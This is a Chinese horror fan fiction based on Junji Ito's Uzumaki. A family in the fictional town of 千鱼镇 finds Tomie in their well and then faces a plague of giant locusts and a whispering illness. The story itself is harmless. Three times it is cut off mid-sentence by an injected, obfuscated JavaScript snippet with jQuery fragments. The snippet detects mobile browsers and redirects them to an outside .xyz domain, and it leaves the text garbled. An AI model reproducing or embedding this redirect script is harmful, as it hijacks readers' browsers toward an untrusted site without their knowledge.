《[伊藤润二漩涡同人]千鱼镇》
1. 井底
微冷的空气擦过奈绪的脸,奈绪看着远方一轮血红的落日,第一次感到了秋天到来的寒冷。
“奈绪!快把水打上来,明天早上用!”
姐姐由子掀开了窗帘,冲她喊。
姐姐在二楼的窗户边靠着,声音很大,奈绪真想丢下木桶捂住耳朵。
她伶俐地回嘴:“姐姐,你太吵啦——你的嘴是喇叭做的吗?”
姐姐一下子将窗帘拉开,秀美的脸上满溢着怒气,眉毛高高扬起。
奈绪缩了缩脖子,听见姐姐大叫:“你再这样我就不借你——”
爸爸刚好走过,姐姐适时闭了嘴,重新将窗帘拉上。
奈绪知道姐姐没说完的半句话:
再这样我就不借你作业抄了!
奈绪学习不好,这下可捏紧了她的把柄,她只好弯下腰打水。
奈绪和姐姐都上了高三,两人在同一个班,奈绪还有个弟弟叫中村,刚上了高一。
他们居住的地方是两层小木楼,父母都是普通的手艺人,母亲是裁缝,父亲是装修工,家境并不算很富裕,但也够供养他们上学。
他们居住的地方是一片广阔无垠的原野,居住在这里的人都归属于同一个镇子,叫千鱼镇。
他们住的位置是镇子的边缘,从山坡上向下眺望,可以看到一片密密麻麻的小房子,它们盘踞在田野的底部。
医院,民宿等日常设施都在镇子中心,唯一通的一班公交贯穿了镇子,也是少数能出镇子的交通工具之一。
上学的路在原野中,沿着原野一路往东边走,会经过一大片花田。
现在的季节,郁金香还没有开放,但波斯菊开得很茂盛,粉红色的花朵摇曳着,花瓣一朵朵绽开,奈绪很喜欢。
奈绪将视线从远处的花田中收回来,她身材瘦弱,费了好大力气才将木桶提上来,哗啦一下倒进水缸里。
每天打水是她们三姐弟每天晚上都要做的事情,但姐姐由子懒惰得很,便将这份活计交给了奈绪。
奈绪又因为每天要抄她的作业,只得帮姐姐每天打水。
水缸终于满了,奈绪抬头看看天空,天空也快黑了,血红的太阳失去了光彩,只剩下一点橘红色的光晕照耀着大地。
奈绪提着半桶水,正想倒进去,手却被勾了一下。
她费力倒完水后,捏着东西到灯光下查看。
“什么啊,就是一根头发而已。”
奈绪不高兴地瞥了眼头发,“肯定是姐姐掉的。家里只有她是长发。”
不对。
姐姐是长发没错,可她从不打水,也不靠近井边。
奈绪将头发看了又看,长发乌黑油亮,发质很好,长度及腰。
“什么嘛。”
她将头发随手一扔,拎着木桶边进门。
乌黑的长发轻飘飘落到地上,在奈绪关上门的瞬间,蠕动了一下。
长发像活了一样,钻过草皮与土壤,往井的方向钻去。
“妈,最近有别人来家里做客吗?”奈绪问了一句。
“没有啊,怎么了?”
奈绪哦了一声:“没什么。”
吃饱放下筷子,奈绪就上了二楼。
她和姐姐共住一间屋子,一人一张床,两人共用一张大书桌,因为奈绪学习不好,所以一般只有抄作业的时候才用。
姐姐正窝在床上玩手机,奈绪笑着扑过去,挠她痒痒。
两姐妹滚成一团,又笑又骂,半晌才歇。
“姐姐,老规矩,帮你打水,你的作业呢?”
由子推了下鼻子上的眼镜,抬起下巴指了指桌子:“早写好了,奈绪,咱们都上高三了,你也该多学习一会了。”
奈绪冲她吐了吐舌头:“我要是认真学习,谁帮你打水啊?”
由子搬起枕头砸她,被奈绪一把抓住,笑着扔还给她。
坐下,摊开作业本,姐姐的字写得工整,奈绪看着自己那一手潦草的字迹,并不觉得羞愧,下笔如风,抄得飞快。
可今日的作业实在有点多,她手腕酸痛,抄了一半就坐在椅子上左顾右盼。
“啧啧啧,抄作业都不认真啊。”姐姐取笑她,奈绪回瞪一眼,又提起笔来。
看着堆积的作业,奈绪有些胸闷,她干脆将窗帘一把拉开。
外面一片漆黑,依稀能看到点光亮,窗户开了一条小缝,有花朵的香气顺着窗缝飘进来,香气怡人。
奈绪忽然看见一楼的井边,有什么东西动了一下,像是……像是井中伸出的海草?
“喂,由子。”
“干嘛?”
“你过来看看。”
“看什么?”
“你过来嘛!”
奈绪撒娇,姐姐终于放下了手机,慢腾腾凑过来。
奈绪指了指水井:“你看,那里面是不是有东西在动?”
由子眯起眼睛,她的眼镜度数很深,只能看到井中一个模模糊糊的影子。
“看着有点像……水草?”由子终于说。
“咱们的井中怎么会有水草嘛!我们下去看看!”
奈绪拉着由子一起跑下去,两个女孩有些谨慎,各自握了一个铁铲。
奈绪胆子大些,凑近了井边,想起了今天打水时那根黑色的长发,她心中有些异样,手紧紧握着铲子。
“水草”还在动着,她慢慢靠近,大着胆子用手抓,触感滑腻而奇怪。
手掌上抓的东西丝丝分明,她吓得一跳,丢开铲子。
“头……头发!”
“头发?”由子大叫一声,急忙往屋内冲去,拿了一个手电筒出来。
灯光将井边照得极亮,她们终于看清了井中的东西:
井水不知为何,竟从数米深的地下上涌到了井口,一个浑身光裸的女子,长发飘飘,被水推出来井面。
井水时而上涌,时而下沉,她的头发也随着起伏的井水而上下波动着,像是被海浪冲刷的海藻。
两人都被吓得面色惨白,奈绪动了动嘴唇,尖声大叫起来:“爸爸——爸爸——”
听到女儿凄厉的叫喊,父母都跑了出来,甚至连平时不怎么出现的弟弟,也拖了一只拖鞋,跑到井边。
看清井上起伏的人形时,父母的脸色都不太好,他们互相对视了一下,将由子和奈绪架到一边。
“这个女的,从哪里来的?”
由子无力地摇摇头。
爸爸试探着伸出手,抓住了女子的一条胳膊,“老婆,快来帮我,我们把这个女的拉出来!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977551|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妈妈的腿有些发抖,硬着头皮上前,忽然侧过脸对中村说:“看什么?快回去!”
中村哦了一声,踢着一只拖鞋回房间去了。
妈妈脱下外套披在女子身上,和爸爸两个人一起,用尽浑身力气将女子往外拉。
借着上浮的井水,他们终于将女子拉出了井。
女子躺在草地上,大半张脸被头发遮住,奈绪的母亲将女子的头发拨开,女子的容貌让他们都倒吸一口凉气。
一个极其美丽的女子,发如墨染,嘴唇饱满如同枝头初绽的花瓣,脸颊光滑,鼻子小巧挺拔,眼睛很大,眼下点了颗泪痣,睫毛纤长。
即便是在这样凌乱的情况下,女子的脸上仍是一副气定神闲的样子,生得优雅与从容,眼尾略微扬起,带了些傲气与魅惑。
奈绪将手指伸到女子的鼻子前,感知到了一点微弱的呼吸。
“她还活着!”
几个人七手八脚将女子抬进房中,妈妈给女子换上了一套衣服,女子手脚冰凉,在室温下才逐渐变得温暖。
一小时后,女子缓缓睁开了眼睛。
“你是谁?”奈绪问。
女子傲娇如猫咪的眼睛环视了四周,灯光透过她纤长的睫毛,在她的脸上投下一小片精致的暗影。
“富江。”
“富江?你怎么会出现在我家的井里?”
自称富江的女子摇了摇头,“我也不知道,我似乎……可以出现在任何地方。”
富江站起身来,往门外走去,被妈妈拦住:“富江……小姐,外面这么偏僻,你……你在我们这里住一晚上再走吧。你要去哪里?”
“这里是哪里?”富江扭头问。
“千鱼镇。”
富江没有说出要去的地方,她转过身打量着房子,哼了一句:“这么个破地方,你们趁早离开吧。”
说完,富江便抖了抖衣服,将一头长发拨到身前。
她发出一声尖利的笑,直笑得几人毛骨悚然,后背一阵一阵发冷。
奈绪上前拉住富江的手:“怎么回事?你……你好歹给个交代?你突然出现又这样突然离开,实在是太诡异了。”
“诡异的东西还多着呢。”富江轻飘飘说了一句。
奈绪疑惑不解,富江却已经打开了门,奈绪跟着追出门来,看见富江正往镇子走去。
奈绪追上去喊:“你要做什么?”
富江没说话。
“你要离开镇子吗?”
奈绪追了上去,跟在富江身边。
“你如果想坐公交离开镇子,当然是可以的,可是镇子只有一趟公交,在早上八点。”
富江还在向前走着,奈绪站到她面前,强势地挡住她的去路。
“我说,公交每天只有一路,你现在身无分文,怎么上车离开?”
富江歪了歪头,绝美的脸上流露出些许好奇。
奈绪急忙伸手掏口袋,终于掏出一张皱巴巴的纸币,塞在富江手中。
“看你笨的,来,用这个。”
富江眼中闪过迷茫,将纸币攥在手中,她轻轻点了一下头,随后大步迈开,顺着田野往小镇走去。
夜色之中,富江的身影很快变得模糊不清,只有波斯菊的香气依然满溢在鼻腔。
2. 蝗虫
艳阳天。
清早,天气就已经有点闷热,明明已经是秋季的末尾,奈绪还是穿着一双凉鞋,一件简单的t恤衫。
背着书包,姐姐已经在玄关处喊她:“奈绪,奈绪——快走啦,要迟到了——”
奈绪应了一声,回头看了一眼弟弟,问:“你不担心迟到吗?”
中村不紧不慢:“我们高一这几天放假,只有你们高三的才需要天天去上课呢。”
奈绪不满地瞪了他一眼,走出门去。
去学校的路上会经过一大片原野,还有一片小树林。
原野上长满了郁金香,波斯菊,还有长得张牙舞爪的杂草。
杂草沿着树木攀爬,吸吮汁液,长得很高,从远处看像一个个弯着腰的人影。
奈绪路过原野时,总是会被这些参天的杂草吓到,以至于有些毛骨悚然,所以她与姐姐常常结伴同行。
有两人一起聊天,上学的路才不算难熬。
奈绪牵着由子的手,在小路上走着。
天气晴朗,前些天下过雨,被雨水浸湿的土壤已经被烈日烤干,凉鞋踩在上面会留下一个个浅灰色的脚印。
成片的杂草近些天,生长得格外旺盛,奈绪正和姐姐由子聊着学校发生的事情,忽然看向前方。
前方的道路,被一丛杂草挡住了。
“不对啊,我们不就放了三天假吗?怎么才三天,杂草就已经挡住道路了?”
奈绪有些奇怪,她从书包侧边拿出一根棒球棍,这是她们上体育课要用到的。
她挥舞起棒球棍,棍子挥到的地方,杂草被拨到一旁,露出一片空旷的空间。
“好了。”奈绪说。
两人一前一后,穿过杂草形成的空洞,奈绪的书包被杂草勾住,她硬拉来几下,杂草落了一地,有一根黏在奈绪的书包上,奈绪不以为意,手指将它弹到地上。
身后的杂草丛忽然动了动,由子拉住奈绪的手,声音发颤:“什么,什么东西在动?”
奈绪:“估计是什么野猫野狗吧。”
奈绪将杂草踢开,听到了沙沙的响声,几只蝗虫趴在草叶上咀嚼着,翅膀瓮动。
奈绪嘴角忍不住上扬:“几只蝗虫而已,姐姐你怕成这样。”
奈绪挥舞着棒球棍,展示给由子:“姐姐,在田野中的世界,这根棒球棍就是真理,力量即是一切!”
说这话的时候,奈绪的瞳孔很黑,饱满的脸颊微微泛红,一缕发丝黏在她嘴角,分外可爱。
“好啦,上学去吧。快迟到了。”
奈绪收起棍子,和姐姐一起沿着熟悉的道路往学校跑去。
终于及时到了班级。
奈绪微微喘息,将课本放好,前面的淳平已经扭过脸来,熟稔地和她搭话:“奈绪,最近友树家里的事情,你听说了吗?”
奈绪偏头:“什么事?”放假这三天,她没有出去找朋友玩,自然也不知道同学之间发生的八卦。
淳平摸了摸他那一头金黄色的头发,嘴角勾起坏笑:“他以前不是常说他家产业大,在这里有一大片草莓园吗?现在他可嚣张不了了。”
“怎么了?”
“他家的草莓园不知道出了什么事,一夜之间竟然全被吃光了,就剩一点烂草根。”
奈绪忍不住锤了淳平一拳:“这又不是什么好事,别幸灾乐祸了。”
淳平不高兴地撇撇嘴:“我这不是看他太嚣张嘛……”
正说着,友树走进教室。
这么热的天,友树竟然穿了一身西装,奈绪看见前方的淳平肩膀有轻微的抖动,知道他一定是在偷偷笑话友树。
友树样貌清秀,头发长得遮住了眼睛,眼睛总藏在头发后面,好像惧怕与别人交流一样,他嘴唇很薄,脸色微微发白。
友树的朋友伊藤望凑上去,伊藤望是个样貌普通的大胖子,一头自来卷,行事不拘小节。
“友树,家里怎么样了,还好吗?”
友树摇摇头,情绪低落,回到了座位上。
他后面的同学拉拉他的帽子,伸长脖子问:“友树,你不是说你家里有很多资产吗?一个草莓园应该不算什么吧。”他声音很大,整个班级都听得清楚。
友树眼神有些惊慌,嘴巴抽了抽,说道:“不算……不算什么。”
同学松开手,却在捂住嘴巴偷笑,前面的淳平也忍不住笑声。
“这个撒谎精。”淳平低声骂道。
友树总说自家在千鱼镇外面的地方开了多少有钱的公司,但同学们从没见他离开过千鱼镇一步,连他身上的西装都是早就过时的样式,几处地方开了线。
友树家里只是拥有一片不大的草莓园罢了。
老师走进教室,第一节课是数学,老师叫龙太郎,戴了个厚厚啤酒瓶一样的眼镜,额头很高,脸颊上的两条法令纹很深。摘下眼镜时,眼睛像鱼一样鼓起,因为嘴巴有些凸,说话时真的像条鱼一样。
龙太郎既是数学老师,也是班主任,是小镇上土生土长的村民,去外面的世界读了几年书后又回到这里。
龙太郎慢悠悠地开口:“最近我们的镇子上,好像出了一种什么虫子。是蝗虫吧。”
他看向友树:“友树,吃掉你家草莓园的,是蝗虫吗?”
友树脸色苍白,摇了摇头:“我也不知道,夜里我们听见一阵咔咔的声音,就起床查看,发现一大团黑影从我家屋顶飞走了,只剩下一地断茎。”
龙太郎面色流露出担忧:“这可怎么办是好,虽然政府会发一点补贴,但谁知道这些可恶的虫子还会跑去哪里?”
“老师,快讲课吧,这个和我们的课程没关系。”几个好学生喊。
龙太郎无奈地摇了摇头,打开了课本:“我们今天来复习函数的单调性……”
奈绪坐在第三排,听老师的声音如同听助眠曲,很快便睡着了。
睡梦中,她听见了嗡嗡的声音,不像是蜜蜂,像翅膀的摩擦声,从她身后传来。
迷迷糊糊中,有人推了一下她的胳膊,奈绪半梦半醒之间摆摆手:“……困……”
“你后面……”
她听见淳平的声音。他的声音有些发抖。
整间教室都安静下来,奈绪擦了擦眼睛,伸了个懒腰直起身子,转过身去。
身体如触电般战栗,奈绪身子一歪,连人带凳子跌倒在地,连滚带爬地跑到讲台上。
身后的嗡嗡声越来越大,逐渐充斥了她的脑子,像刀一样刮着她的耳膜。
她的椅子上挂着她的书包,随着椅子的倾倒,书包也掉在地上,半边露出,里面有什么东西,正在飞快地蠕动着!
一只上颚硬得如同刀片,眨眼间已经将书包划开一个大洞,就要冲出来!
“这是什么鬼东西!”由子惊叫,伴随着几声尖叫,由子的椅子也被推翻,她的书包上,一根草枝动了一下,不过片刻,草枝上长出了一枚淡褐色的卵,比平常的虫卵要大得多,虫卵上的壳被破开,露出了一只蝗虫的幼虫。
奈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977552|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绪的书包也变成一堆破布,一只巨大的蝗虫钻了出来,眼睛转动着,看向奈绪。
龙太郎将奈绪护在身后,拿起桌子上的粉笔盒朝蝗虫砸去,蝗虫翅膀摩擦,瞬间飞到一旁。
奈绪推开老师,抢几步上前抽出棒球棍,对着蝗虫挥舞着,一边扭头对同学喊:“快把窗户打开!”
一声令下,窗户全被打开,奈绪鼓起勇气朝蝗虫走去,用球棒挥舞驱赶,蝗虫颤动着身子,从地上飞了起来,朝窗外飞去。
蝗虫飞出去的瞬间,奈绪调转目标,对准了姐姐书包上的这只蝗虫幼虫,球棒狠狠砸下,汁液喷出,幼虫动了几下,没有了动静。
奈绪松了一口气,一扭头便看见友树,友树躲在同学身后,指着刚刚飞走的蝗虫。
“是……是它们!就是它们吃了我们的园子!”
巨大的蝗虫让全班同学惊魂未定,他们刚刚坐在座位上没多久,便听见隔壁的教室也发出一声短促而焦急的尖叫。
龙太郎抄起一条木腿,往隔壁冲去,不多时,隔壁的窗户打开,飞出几只蝗虫。
隔壁的老师叫小百合,是个新来的女教师,个性年轻而活泼。
她安抚好同学的情绪后,便和龙太郎老师一起下了楼,查看起其他教室的学生,敦促他们检查身上有无草枝虫卵一类物品。
果不其然,在其他几间教室里又发现了几只巨大的蝗虫。
尽数剿灭后,他们上了楼,和其他几位老师一起去报告校长。
奈绪将沾了粘液的棒球棍洗干净,书包已经废了,她无奈地把书堆在书桌上。
教室里吵吵嚷嚷,同学们七嘴八舌地讨论着刚才发生的事情,龙太郎老师走进教室后拍了好一会桌子,教室才勉强安静下来。
“同学们,”龙太郎推推眼镜,法令纹更深了。
“学校决定先放假几天,等政府请来专业的除虫人员,对千鱼镇进行除虫后,我们再重新开学。”
“好哎!”淳平叫道。
龙太郎忽略过淳平,接着说:“由子,奈绪,还有友树,你们三个跟我出来一趟。”
“老师,怎么了?”
龙太郎拿出一副卷轴,在桌子上铺开,卷轴上用塑料封了一层,俨然就是千鱼镇的地图。
“你们三个,将自己家庭住址用红笔标在上面,并把上学路画上,方便后续捉虫队捕捉,找到虫巢。”
奈绪接过红笔,在卷轴上标出来,“老师,那我们就回家了。”
“嗯,好。”
镇上有一座广播站,奈绪的爸爸正用收音机收听着广播:
“千鱼镇镇长村井骏平已经于昨日通过电话向外界寻求帮助,一个捉虫队连同记者正朝千鱼镇赶来,请各位镇民在近些日子尽量采集食物,待在家中,蝗虫众多,不要出门,不要出门,不要出门!”
奈绪躲在房间里,用手机和好友打着电话,这个朋友刚上到高二就不上学了,在镇上的一家小酒馆当侍应生,叫川合爱子,这次意外的蝗虫灾难反而让奈绪想起了这位许久不联系的挚友。
“奈绪,你那边怎么样了,我现在躲在酒馆里,还好这里食物还够,除虫大概会持续几天啊……”
“广播说了,等捉虫队进来,大概不过三天就结束了,捣毁虫窝就行了。”
奈绪掀起眼皮,看见二楼对面,一只巨大的蝗虫扑来,她尖叫一声,滚下床去,蝗虫撞在玻璃上,摔得支离破碎,掉了下去。
只有一片巨大的翅膀还黏在玻璃上。
3. 蝗虫
被困在家中已经三天了,家中的食物逐渐吃完,父亲与母亲走出家门,找镇长寻求帮助。
奈绪姐弟三个在家中坐了一天也没有父母的消息。
奈绪坐不下去了,穿上几件长袖长裤遮盖住裸露的皮肤,又戴了帽子保护头部。
姐姐和弟弟翻箱倒柜找出了两根棍子,奈绪还是扛着自己的棒球棍。
将门掀开一条缝,她仔细听着外面的动静,蝗虫啃咬的咔咔声几乎听不到了,她猫着腰钻出去,姐姐和弟弟跟在她身后。
天空有些昏黄,秋天的末尾,原野也是金黄的,和天空连成一片。
大地是空旷的,受伤的,蝗虫过境之处,草叶都被嚼碎,地上散落了一堆一堆零星的草沫。
大树从前茂密的枝叶也被蝗虫剪碎,光秃的树干无奈地伸向天空。
奈绪三人沿着原野,从山坡上向下走,他们要去镇上找父母,不论蝗虫多么肆虐,最重要的是保证他们的安全。
“妈——妈——”奈绪大声叫喊,将声音拉得很长。
“爸——妈——你们在哪里啊——”
直到将嗓子喊哑,奈绪也没有找到他们的下落,弟弟中村脸色有些不好,指向山坡下的小镇。
“他们可能还在镇子中没有回来。”
三人无奈地继续走着。
忽然,一棵树干晃了一下,像是有人在有规律地撞击着树干。
奈绪将姐姐和弟弟拦到身后,警惕地看着这棵树木。
树木安静了一瞬,忽然,树干被整齐锯断,一只巨大的蝗虫从内部钻出来,朝奈绪扑来。
“啊——”奈绪拿手中的棒球棍拼命挥舞着,将蝗虫击倒在地。
同时,被锯断的树干内部,接二连三飞出了一只又一只蝗虫!
奈绪倒在地上,身体麻了半边。
她手脚并用地爬起来,“跑!”
在蝗虫的追赶下,他们往小镇跑去。
姐姐由子绊了一跤,身体前倾沿着山坡便滚了下去,摔伤了脚腕再也站不起来。
中村背着由子跑,奈绪在旁边挥舞着球棒,抵挡着接踵而至的蝗虫侵扰。
几人脸上,手上都落了伤口,火辣辣地疼,蝗虫聚集得越来越多,奈绪手臂酸痛得抬不起来,手臂被蝗虫划了一道口子,正殷殷流血。
忽然,一股火焰从背后冲出,一道刺眼的火光将蝗虫逼退。
同时,奈绪闻到了一股药水的味道,淡白色的水雾从四面八方喷下来,将蝗虫包裹住。
蝗虫纷纷掉落,在药水的攻击下,它们的生命格外脆弱。
四个全副武装的队员从背后冲出,他们都穿着防护服,戴了结实的防毒面具。
其中一个人眉毛很浓,自称雄一,身旁的高个子女生叫步美,为奈绪进行了简单的包扎。
“不是说这几天不能出来吗?你们怎么还跑出来?”
奈绪将父母一整天都没有回来的事情告诉了他们,步美叹了口气:
“我们几天前从外面来到这里,这几天也差不多把虫子清理干净了,还剩一点没有清理干净,现在镇长安排了几个人对剩下的部分进行查验,说不定你们父母志愿参加了。”
奈绪急忙站起身,扯住了伤口,她疼得呲牙咧嘴:“那……那我们就先找他们去了,谢谢你们。”
“不用谢。”雄一摆摆手:“我们马上就要回去了,只可惜这里交通太不方便,我们还得等公交先修好再走。”
公交因为蝗虫的袭击,轮胎破损,车窗也几乎没了,镇长正在组织人员修理。
奈绪三人告别了杀虫队员,土路逐渐变成了石子路,又变成了砖石路。
当踏上平整的水泥路时,他们才真正到达了镇子。
镇子上,各家门户紧闭,街边的垃圾桶倾倒,几件路人躲避蝗虫时丢弃的东西,现在还在马路上丢着。
“先找个药店吧,把后续包扎要用的药拿好。”中村提醒。
几人搜寻着药店的下落,找到了平时常见的一家药店,铁门紧闭,奈绪拍了几下,铁门缓缓上升,露出了店长慎一郎的光头。
店长探头探脑,扯出一个僵硬的笑容,不情不愿把他们迎进去。
“你们怎么在外面晃悠?杀虫还没结束呢。”
奈绪指指由子的腿,还有自己的胳膊:“我想拿点后面会用到的药。”
店长摸了摸自己的光头,跑去库房拿药,奈绪借机问:“店长……你知道我父母去哪里了吗?他们是不是去做志愿了?”
慎一郎没好气地将药扔到柜台前:“他们现在在镇长家里,和其他一帮人正在商量呢,我可不想做这个,这帮不要命的家伙。”
将钱放在柜台上,奈绪便带着由子,中村离开,店长重新关上铁门,关到一半,忽然探出头来:“奈绪。”
“嗯?”奈绪扭过头来。
“记得……记得将耳朵堵上。”
“堵上耳朵?为什么?”
店长扯了扯嘴角:“这些蝗虫……好像会说话。”
“说的什么倒是听不清啦,就是……就是很心烦。”
“嗯,好。”
听从店长的建议,奈绪从装药的袋子里拿出几个面团,三人分别塞入耳朵,朝镇长的房子走去。
镇长的房子是一个有大铁门的漂亮小别墅,奈绪透过铁栏杆往院子里瞧,一帮人正围在那里,院子中心放了一张桌子,上面铺了镇子的地图。
班主任龙太郎也在里面,他眉毛紧紧皱在一起,眉心形成一个川字。
“怎么会……怎么会是这样呢?”他喃喃自语,“为什么虫子聚集的地方是有规律可循的呢?两横两竖交叉在一起,像个中国的‘井’字,镇子的中心正好不受虫子侵袭,难道是什么科学原理?”
他崇尚科学的脑子始终搞不明白,正暗自思索,忽然看见一只雪白的胳膊从栏杆外伸出来,晃了晃。
“老师——老师——”
奈绪大声喊,惊动了院子内热烈讨论的一帮镇民,村长头发白了些,眼睛肿着来给奈绪开门。
“是小原家的孩子吗?”村长问。
奈绪摘下棉团,点头,注意到村长眼中的红血丝。
“爸爸妈妈呢?”
“他们和两位杀虫队员出去了,去西边的后山清理蝗虫,估计快要回来了。”
村长扭头看向班主任:“龙太郎,给他们打个电话问问情况,说他们孩子来找了。”
电话没有拨通,显示一直在忙线中。
村长眉头微蹙,快走几步冲到电话前,重新按下几个按键:“喂?喂?能听到吗?”
漫长的等待后,电话被接通,村长开了免提,一群人仔细听着对面的动静。
一阵诡异的安静后,出现了窃窃私语,龙太郎将头凑到电话旁,试图听清楚这窃窃私语是什么,但最后还是摇了摇头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977553|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
奈绪捏了捏手中的棉团,猛然想起刚才店长说的话,急忙说:“是不是他们被蝗虫袭击了?这群蝗虫不是会说话吗?”
村长的脸逐渐苍白起来,身子一颤,转身拿起了铁耙:“糟糕!他们遇到危险了!”
一群人冲出门去,奈绪也要跟出去,被龙太郎拦下:“我们几个体力都不行,你们又受了伤,留在这里等他们回来吧。”
等到黄昏时分,一群人终于出现在街道尽头,夕阳将他们的影子无限拉长,奈绪看见父母相互搀扶着,面色颓丧。
她急忙迎上去:“妈,你们怎么了?”
母亲脸色苍白,嘴唇颤抖,见几个孩子都来找他们了,嘴角勉强勾起微笑:“没、没什么。”
身边几个捉虫队队员都受了不同程度的伤,有一个队员的肠子都被扯了出来,刚在医院包扎好。
奈绪不敢再看,闪身到一旁,她知道父母不会把实话告诉她,于是转而寻求村长的帮助。
从村长和其他几人的话中,她才勉强拼凑出这件事的全貌:
父母和捉虫队员一起去西边后山,正在清理树干里的蝗虫时,埋伏在草丛里的几只蝗虫忽然袭击了他们。
他们都昏了过去,连怎么接通了村长的电话都不清楚,醒来就已经在医院了。
奈绪与父母在村长的房子里住了一晚,第二天,村长和其他几位队员一同对镇子进行了清扫。
侵袭了镇子大面积土地的蝗虫,终于消失了。
向村长和班主任告别,奈绪三姐弟和父母一起回到了家。
很快,学校通过广播通知,要重新开始上学了。
半夜,奈绪正睡着觉,月光穿过窗户,温柔地洒在她脸上。
她忽然听到了一声崩溃的尖叫。
迅速坐起身来,她看向旁边的姐姐,由子同样睁开了眼睛。
“怎么了?”
“不知道。”
“下去看看吧。”
奈绪看见一楼的灯还亮着,父母难道这时候还没睡?
姐妹二人蹑手蹑脚走下台阶,听见母亲崩溃的哭喊:“太智,太智,有、有东西在我脑子里,他在说话!他在说话!我什么也听不见!他在说话!”
父亲轻拍着母亲的肩膀,母亲的肩膀抖动着,正捂着脸轻轻哭泣。
父亲忽然皱起眉头,堵住耳朵:“我……我也听到了,但是听不清楚。”
“爸,妈,你们怎么了?”
奈绪关切地看着他们,父亲急忙摆摆手,哄她们上去:“快上去睡觉,这都凌晨三点了。”
父亲想到了什么,问:“你们两个……能听到有东西在你们脑子里说话吗?”
由子摇头:“没有啊?”
父亲低下头,茫然地微笑着:“没有就好,你们没有就好,现在、现在快上去睡觉吧。”
在父亲连声催促几遍后,两人才往楼上走去,躺在被窝里,两姐妹都翻来覆去睡不着觉。
奈绪留神看着楼梯口的灯光。
灯光一夜未灭。
镇子里出现了一种怪病。
这种怪病只在较为年长的长辈中出现,具体表现为觉得脑子中有人在与自己对话,但又听不清楚说话内容。
脑中的窃窃私语常常持续很久,几位年长的老人因为不堪疾病的困扰,先后离去了,一些中老年人的身体也每况愈下,只能长期依靠药物治疗,入睡。
4. 永恒的公交车
下课铃声落,老师龙太郎将课本夹在腋下,朝教室外走去。
奈绪和由子急忙跟上。
“老师,老师,布美他们那一群杀虫队队员是明天要离开吗?”
“对,他们的工作已经结束了。”龙太郎推了下厚厚的眼镜。
“我们能去送送他们吗?他们之前救了我们,还没来得及谢谢他们。”
龙太郎面色轻松:“行啊,明天七点四十公交站见,如果你们两个小姑娘能及时起床的话。”
奈绪心虚地瞥一眼姐姐,她们常常偷偷玩手机到半夜。
“肯定能起来!”奈绪保证。
“步美和雄一刚结婚不久,你说不定还能向她讨一点喜糖。”龙太郎微笑。
“结婚?”奈绪惊讶,难怪当时看雄一那么关照步美,原来两人是夫妻。
淳平吹着口哨走来,他一头金毛因为没有再次染发,发根已经出现了一点点黑色,扬起下巴问奈绪:“你们怎么还不回家?”
龙太郎气不打一处来,指着淳平的脑袋:“说过你多少次了,把你这一头金毛给染回黑色!”
淳平吐吐舌头,躲到一旁,悄悄问:“你们刚才在聊什么?”
奈绪:“我们想明天早上去送送步美他们。”
“就那几个捉虫队的?”
“嗯。”
“我也去吧,他们给我家附近的除虫做的很不错。”
想起了什么,淳平对奈绪说:“你手机有信号没?借我用用。”
奈绪:“你手机不是新买的吗?怎么用不了了?”
淳平撇撇嘴:“刚才忽然不能用的,什么信号都连不到了。”
奈绪打开自己的手机,竟然也显示无信号。
心中闪过一丝异样,她喊住刚要离开的班主任:“老师,你的手机有信号吗?”她转过头:“由子,你呢?”
两人都打开手机,显示没有信号,试着拨了几个电话都拨不出。
“怎么回事?是信号站出问题了吗?”
奈绪无奈摇摇头:“不管了,先回家吧。”
第二天清晨,天气有些寒冷,鸟儿在云层间翻飞着,土地上结了一层寒霜,被蝗虫啃食过的大树依旧没有恢复,连嫩芽都未长出,只是光秃秃地站在田野间,像瘦骨嶙峋的老人。
奈绪穿了一件厚毛衣,又在脖子上围了一条粉色围巾。
哈出的一口气瞬间凉在鼻腔,她揉揉冰凉的鼻子,搓了搓手,看向身旁的由子。
她看向由子身旁的男孩,神情有些不快,低下头悄悄问:“你怎么把他给带来了?”
站在姐姐由子身旁的是姐姐谈了两年的男朋友,名叫右一,个子很高,头发遮眼,总是像鬼一样忽然出现又忽然消失,奈绪不喜欢他,可看在姐姐的面子上不得不接纳。
右一个性沉闷,不爱说话,姐姐却把这当成了忧郁美男的代表,一心沉溺于自己的想象中。
不过还好右一不爱说话,奈绪也不用费劲和他搭话。
淳平挥舞着双手从小道上跑过来,一头金发乱得像个鸡窝,脸上挤满了尴尬的笑。
奈绪看一眼手表:“我就知道你会迟到,七点五十六了,我们说好七点四十到的。”
淳平反驳:“他们八点上车,我这个时间到也不算晚。昨晚打游戏睡过了嘛。”
